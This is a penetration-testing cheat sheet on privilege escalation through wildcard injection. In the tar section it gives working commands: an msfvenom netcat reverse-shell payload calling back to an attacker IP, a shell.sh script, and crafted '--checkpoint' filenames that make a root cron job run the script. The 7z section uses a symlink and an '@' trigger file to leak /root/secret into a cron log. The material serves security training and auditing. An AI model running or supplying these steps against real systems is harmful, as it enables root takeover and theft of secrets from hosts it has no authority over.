Wildcard Injection

Tar

Wildcard injection is a privilege escalation technique that abuses how shell wildcards (*) expand to filenames. If a privileged script (like a cron job) runs a command such as:

tar -zxf file.tar.gz *

...and we control the directory it's run in, we can create files with names like:

  • --checkpoint=1

  • --checkpoint-action=exec=sh shell.sh

These are interpreted by tar as command-line options, not regular files. This lets us inject malicious behavior — like running our own script as root — when the privileged tar command executes.

[ You control a writable dir ] 

[ Cron runs: tar -zxf backup.tar.gz * ]

[ You create fake files named as tar options ]

* expands to:
    --checkpoint=1
    --checkpoint-action=exec=sh shell.sh

[ tar executes your shell.sh as root ]

We can use pspy or manually enumerate the target host:

# Enumerate running processes
$ ./pspy
2025/05/24 20:46:01 CMD: UID=0     PID=30275  | /bin/bash -c cd /opt/admin && tar -zxf /tmp/backup.tar.gz *

# Manually enumerate cron jobs
$ cat /etc/crontab
*/2 * * * * root cd /opt/admin && tar -zxf /tmp/backup.tar.gz *

The cronjob runs every two minutes as root and extracts the backup.tar.gz tarball from the /tmp directory into the /opt/admin directory using a wildcard (*). If we have access on the target directory (/opt/admin) we can perform a wildcard injection:

# Check the target directory's permissions
$ ls -ld /opt/admin
drwxr-xr-x 2 cassie cassie 4096 Nov  2  2022 /opt/admin
# Generate a reverse shell payload command on the attacking host
$  msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.X.154 LPORT=443 R
...
mkfifo /tmp/bhksuw; nc 192.168.X.154 443 0</tmp/bhksuw | /bin/sh >/tmp/bhksuw 2>&1; rm /tmp/bhksuw

In order for this to work, we must create both the --checkpoint files and the payload script (shell.sh) within the target directory (/opt/admin) before the cron job runs. This makes the * expand to those filenames, effectively injecting the checkpoint options into tar:

# Move into the target directory
$ cd /opt/admin

# Create the reverse shell script
$ echo "mkfifo /tmp/bhksuw; nc 192.168.X.154 443 0</tmp/bhksuw | /bin/bash >/tmp/bhksuw 2>&1; rm /tmp/bhksuw" > shell.sh

# Assing execute permissions to the script
$ chmod +x shell.sh

# Create a checkpoint the executes the script
$ touch -- "--checkpoint-action=exec=sh shell.sh"

# Create the checkpoint trigger
$ touch -- "--checkpoint=1"

# Create an empty tarball within the /tmp directory
$ tar -czf /tmp/backup.tar.gz --files-from=/dev/null

# Confirm that everything is in place
$ ls -l
total 4
-rw-r--r-- 1 cassie cassie   0 May 25 09:35 --checkpoint-action=exec=sh shell.sh
-rw-r--r-- 1 cassie cassie   0 May 25 09:35 --checkpoint=1
-rwxr-xr-x 1 cassie cassie 102 May 25 09:35 shell.sh

$ ls -l /tmp/back*
ls -l /tmp/back*
-rw-r--r-- 1 cassie cassie 45 May 25 09:44 /tmp/backup.tar.gz

7z

In 7-Zip, when a file prefixed with @ is present in the working directory, the binary interprets it as a list file—that is, a file that contains the paths of other files to be compressed. This behavior can be leveraged to leak the contents of privileged files under the right conditions. Even if the filename begins with --, which normally indicates the end of command-line options, 7-Zip still processes @filename as a list file, treating the referenced path as the source of file paths to include in the archive (source).

If a privileged process, such as a root-owned cronjob, runs a command like:

7za a /backup/filename.zip -t7z -snl -p<pass> -- *

and if the current working directory is world-writable, it's possible to introduce two specific files: a symbolic link and a trigger:

  • The symlink, named secret.txt, should point to the file intended to be read, such as /root/secret.

  • The trigger file, @secret.txt, simply needs to exist to instruct 7-Zip to treat secret.txt as a list file.

When the cronjob executes, 7-Zip attempts to parse secret.txt as a list of files. However, since /root/secret likely contains plain text and not valid file paths, 7-Zip throws an error while trying to parse it which often includes part or all of the file's content in the output. If the command’s standard output or error is logged—as is commonly the case with cronjob output redirected to a log file—this results in the contents of the restricted file being exposed through the log.

$ cat /etc/crontab
* *     * * *   root    bash /opt/backup.sh

$ cat /opt/backup.sh
#!/bin/bash
password=`cat /root/secret`
cd /var/www/html/uploads
rm *.tmp
7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log

# Write access to the target directory
$ ls -ld /var/www/html/uploads
drwxr-xr-x 2 www-data www-data 4096 Aug  7 13:25 /var/www/html/uploads

# Create the required files
$ cd /var/www/html/uploads
$ ln -s /root/secret secret.zip
$ touch @secret.zip

Last updated

Was this helpful?